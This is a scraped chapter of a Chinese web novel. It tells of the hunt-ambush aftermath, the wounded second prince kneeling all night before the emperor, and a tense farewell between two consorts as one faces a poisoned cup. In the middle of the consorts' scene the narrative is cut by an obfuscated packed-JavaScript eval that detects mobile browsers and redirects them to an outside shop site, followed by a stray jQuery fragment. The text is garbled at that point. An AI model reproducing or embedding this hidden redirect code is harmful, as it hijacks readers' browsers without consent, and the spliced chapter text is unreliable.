68. 第六十八章

作品:《纤手破新橙

    三载一回的秋猎才刚刚开始就迅速结束,庆帝与二位皇子虽都有伤,但幸运的是都未伤及性命,只是由于逆党尚未抓获,半月山并不安全,待受伤的人处理好伤口后,众人便迅速修整回京。


    一路上,从皇城与周边城县调拨的军队层层围拢过来,形成一道密不透风的屏障,将皇室的车队紧紧包裹在内,不过半日车程,庆帝的銮驾便已驶入皇城,等到真正踏入了宫门,众人悬了一路的心才稍稍放下些许。


    回京的第一件事便是追查逆党踪迹,得益于于少微提供的线索,朝廷迅速将逆党身份锁定在谢家,只是谢氏族人早已回到祖地太康,京城的谢府空空如也,等到太康县县令得到消息带着人手去抓人时,偌大的谢氏族宅也早已空空如也,除却那些不知隔了几代的旁支,谢家嫡系全都不知踪迹。


    这下谁都明白了,半月山的伏击谢家定是密谋已久,庆帝又惊又怒,派出自己最信任的亲信率领精锐军队在太康周边及各州府大肆搜寻,可一连三日过去,军队搜遍了所有可能的落脚点,都没有找到谢家的踪迹,甚至连一点蛛丝马迹都未曾发现。


    一时间,皇城内外人心惶惶,逆党未除,谁也不知道下一次危险会何时降临,官员们上朝时神色凝重,私下里更是议论纷纷,家家户户闭门不出,原本繁华的皇城都显得萧条了几分。


    就在众人一筹莫展之际,亓轲回来了。


    那是一个昏暗的傍晚,残阳被乌云遮蔽,整座皇城都笼罩在一片灰蒙蒙的暮色中,一个巡逻的宫人路过皇宫西侧的角门时,突然发现地上蜷缩着一个人影,那人衣衫褴褛,沾满了泥污与血迹,头发散乱地遮着脸,气息似乎也很微弱。


    宫人吓了一跳,立马禀报了巡逻的禁卫军,禁军小心翼翼地上前,用剑拨开那人的头发,才惊觉竟是半月山伏击时被劫走的二皇子亓轲。


    亓轲浑身是伤,额角肿起一个大包,手臂上还有被捆绑的勒痕,早已昏迷不醒,禁军知晓他身份敏感,不敢擅作决定,禀告庆帝之后,得到确切的救治指令才有人将亓轲从晕倒的地方抬回自己的宫殿。


    太医们连夜诊治,亓轲直到后半夜才悠悠转醒,他睁开眼,茫然地看了看熟悉的宫殿顶梁,片刻后才反应过来自己已经回到了皇宫,来不及顾及身上的疼痛,他挣扎着从床上爬起来,拖着摇摇晃晃的步伐,跌跌撞撞地朝着太和殿的方向跑去。


    他的住处离太和殿不算远,每一步却走得异常艰难,待他赶到太和殿外时,已是气喘吁吁,几乎快要支撑不住。


    然而,守在殿外的太监却告诉他陛下已经歇息,吩咐不见任何人,亓轲本就摇摇欲坠的身体瞬间瘫倒在地,旁边侍立的宫人们一动不动,冷漠地仿佛压根就没看见这里有人。


    深秋的夜风寒凉刺骨,石阶的凉意透过薄薄的衣衫渗进体内,亓轲静静躺在地上,胸口剧烈起伏。不知过了多久,他缓缓挪动身体,用手臂支撑着地面,一点一点地爬了起来,端正地跪在太和殿门前。


    夜露打湿了他的头发和衣衫,寒意顺着毛孔钻进四肢百骸,他却纹丝不动,如同雕塑一般跪在那里,目光死死盯着紧闭的殿门。


    夜色渐深,又一点点褪去,晨曦的光芒将皇城笼罩,也包裹了亓轲跪立的身影。他已经跪了整整一夜,脸色苍白得近乎透明,嘴唇毫无血色,身体也因寒冷和虚弱微微颤抖,显然已经到了极限。


    就在他即将晕倒之际,太和殿的门打开了,孙公公走了出来,对着地上的人影躬身道:“二殿下,陛下请您进去。”


    亓轲猛地抬头,撑着地面挣扎着想要站起来,不料体力不支,身体踉跄了一下,整个人又重重地摔了回去。孙公公身体一抖,眼里闪过一丝怜悯,却再没其他动作,只是静静的看着亓轲趴在地上喘气,然后再次蓄力站起。


    待人站稳后,他冲着勉强站立的二殿下点了点头,转身朝里走去,亓轲微微一愣,立刻反应过来,抬脚摇摇晃晃的跟了上去。


    殿门在身后缓缓关上,殿内烛火依旧燃着,亓轲在太和殿待了足足一个时辰,没有人知晓他与庆帝说了什么,只知道他出来后,庆帝立马下旨,调派三路大军:一路向西,直奔陈将军驻守的西疆;一路南下,驰援江南各州府;另一路则北上,镇守边境重镇。


    旨意一下,皇城内外的军队再次调动起来,主干道上到处都是疾行的军队,原本压抑的氛围变得更加紧张。


    半月之后,消息陆续传回,西地与北地的夷国突然发动骚乱,大举进犯边境,南地则出现流民暴动,短短几日已迅速扩散至周围几城。又过了一个月,捷报传来,谢家主犯在北地边境被抓获,连带一众逆党亲信一同被押解入京。


    *


    冷宫


    文淑妃打发走身边的宫人,一个人面对着紧闭的房门,站了许久,冬日的阳光瞧着温暖,照在身上却微微发凉,她怔怔地看着手上的托盘,腾出一只手缓缓推开了木门。


    经久未修的木门发出一声巨大的吱呀声,屋内仿佛没有人般,没有半点回应,文淑妃攥紧手中的托盘,强压下心头翻涌的情绪,绷紧面容,径直走向内室。


    脚步声由远及近,谢凝华懒懒抬头,看见来人时表情闪过一丝诧异,放下手中书册道:“你怎么来了?”


    她上下打量着文淑妃,眼神扫过其手中物什时瞳孔骤然一缩,又瞬间恢复常态,语气平静无波:“竟然是你来送我。”


    还不待文淑妃开口,又听她自言自语道:“也该是你…再也不会有你比更适合的人选了,毕竟你那么,恨我。”


    “放这吧。”她点了点榻上的小几,接着又指了指榻边的绣墩,垂眸沉默了一瞬,轻轻道:“你若是不着急走,就坐这里看吧。”


    谢凝华的声音轻的像一抹烟,却依旧准确无误的飘到了文淑妃的耳里。文淑妃没有看她,只一言不发的将托盘放在了小几上,又一言不发的坐在了绣墩上,谢凝华的目光随她动作而动,半响,忽然低低笑出声,语气有些怀念:“难得你愿意听我话。”


    文淑妃表情一滞,眼底情绪翻涌,又迅速换上嫌恶的表情,嗤道:“你别恶心我。”


    “阿音啊……”谢凝华专注地看着文慈音,再开口时,声音里带了几丝的笑意,“你装的一点也不像,怎么都这么多年了,你还是不能掩饰自己的难过呢?”


    文慈音的表情瞬间僵住,她静默了一瞬,抬头恶狠狠道:“你还是那么自以为是!”


    谢凝华不以为意,依旧用那种温柔专注的眼神看着面前的人,轻柔道:“笑笑吧阿音,我都要死了,你该笑的。”


    文慈音没有回答,只是直直的看着她的脸,谢凝华的面庞依旧明艳的惊人,即使在这昏暗的冷宫之中,依旧不损半分颜色,文慈音看着她带笑的眉眼,神色变得有些恍惚——


    “谢凝华!”


    文慈音猛地站了起来,一把夺过谢凝华手中的酒杯狠狠摔到一旁,飞溅的酒水与瓷片割破了她的袍角,她却浑然未觉般,眼神凶狠的发红,死死锁着榻上的人,胸膛剧烈起伏,大口喘着粗气。


    谢凝华却忽然低低的笑了起来,她用手指细细描摹着酒壶上的花纹,专注地像是在钻研什么名家之作般,眼角眉梢都洋溢着淡淡的喜色。


    “你真是疯了!”文慈音见她这副模样,毫不留情的骂道。


    谢凝华转头看她,嘴角的笑容更加张扬,文慈音受不了似的别开脸,双脚却像是在地上扎了根般,一动不动。


    “阿音啊……”耳边又传来谢凝华的低低的呼唤。


    文慈音身子一僵,没有动。


    “看看我吧,回头再看看我吧。”谢凝华的声音带着浓浓的乞求。


    文慈音咬紧下唇,犹豫了一瞬,慢腾腾的转过了身。


    映入眼帘的依旧是谢凝华带笑的眉眼,耀眼一如从前,让人不敢直视。


    “难得遇你如此顺着我,忽然觉得死也没那么可怕了。”


    “你少在这自作多情——”


    文慈音的声音被扼在了喉咙里,她似木偶般僵硬的低下头,谢凝华攥住了她的手,微垂的眼睫轻轻颤动着,有泪珠在滚。


    文慈音大脑突然空白了一瞬,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286358|191471||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她、她何曾见过她这副模样?


    “我们好好说会儿话好吗?”谢凝华低低道。


    “好吗?”谢凝华将手指收紧了些。


    文慈音肩膀微微垮下,没有回答,也没有抽回自己的手。


    谢凝华自顾自地说了下去:“这些年来,我曾无数次幻想过要是我们没进宫会怎样,可午夜梦回,那些宫外的如果却统统没有你的身影,我就明白,我只有进宫这一条路。”


    “我也曾无数次幻想,要是当时我没有被帝王之爱蒙住双眼,当年我若早些知晓…早些明白你对也陛下他——”


    “你错了。”文慈音忽然抬头,猛地抽回手,冷冷地打断了她的话。


    “我……错了?”谢凝华不确定的重复文慈音的话,眼神透出几分疑惑。


    文慈音却似乎不想再说了,她冷淡地起身,转身准备离开。


    谢凝华猛地拽住了她的胳膊。


    文慈音回头,只见谢凝华表情呆滞,有些愣愣地开口:“…你说我错了……当年你,你不是因为陛下才,才和我……”谢凝华脑袋混乱,前尘往事纷至沓来,她努力追寻着过去的蛛丝马迹。


    “我的确是因为陛下才与你产生嫌隙。”文慈音面无表情,忽然又重新坐下。


    “那你……?”谢凝华表情不解。


    文慈音看她这副模样,嘴角勾起一抹嘲讽的笑,“你当年最在乎的是他,自然认为我也一样。”


    “不!从来没有!”谢凝华立刻反驳。


    文慈音却忽然笑了起来,满脸嘲讽:“你还在撒谎,都到这个时候了,你还要对我撒谎。”


    “我没有!”谢凝华似乎意识到什么,情绪突然变得十分激动。


    文慈音似笑非笑地看着她,颇为认真的点头:“对,你没有。”


    谢凝华瞬间感到一阵深深的无力,她摇了摇头,语气突然变得尖利:“我最讨厌你这副样子,认定的事情从不听旁人解释。”


    “我这副样子?”文慈音嗤笑,她似乎被谢凝华的态度激到了,连连喘了好几口气,才厉声道:“既然你不喜欢我这副样子,为何不早说?你合该在我们刚入宫的时候就告诉我,这样我也好离你远远的!你也不用现在在这里幻想来后悔去!”


    “我不是这个意思——”谢凝华张嘴想要辩解。


    “你闭嘴!”文慈音根本不给她解释的机会。


    谢凝华扭过头,突然伸手去拿小几上的酒壶,文慈音眼疾手快,先她一步夺过酒壶。


    “你这又是何苦?”谢凝华看着空荡荡的掌心,态度有些冷。


    “你问我?你干嘛不问问你自己,你又是何苦呢?”文慈音尖利的反驳。


    谢凝华沉默半响,终究还是低低道:“我以为自己已经习惯了,可临到死前,我发现我还是无法接受。”


    她抬头盯着文慈音的眼睛,一字一顿道:“我与你,不该这样收尾。”


    文慈音一愣,嘴角不自觉扯出一抹笑,这抹笑容弧度越来越大,笑声也随之响起,谢凝华静静看着面前大笑的女人,目光顺着她眼角的泪珠,落到了地上。


    “别哭了。”她不知何时站到了她旁边,轻轻替她擦掉了眼泪。


    文慈音似烫到了一般,后退一步,侧头避开了她的手。


    窗外凉风骤起,枝桠狠狠撞着窗棂,黄叶在风里乱卷着飘落,不过片刻,地上落叶又厚一层,褐色枝干裸露在空中,光秃秃的好似从来没有见过春天。


    文慈音走到窗前,抬手推开了窗户,出神地凝视着被枝桠割的支离破碎的天空,谢凝华亦步亦趋的跟着走到了窗边,与她一同静默驻立。辽阔的天际注视久了只觉得白得有些晃眼,文慈音眨了眨酸涩的眼眸,慢腾腾的转过身子,语气是前所未有的认真:“我与你,就不该相识。”


    “…为什么……?”谢凝华满脸哀戚。


    文慈音没有再回答她,而是转身离开了。


    谢凝华也没有再挽留,她站在原地看着她的身影消失在视线中,然后后回到榻边,抓起桌上的酒壶,一饮而尽。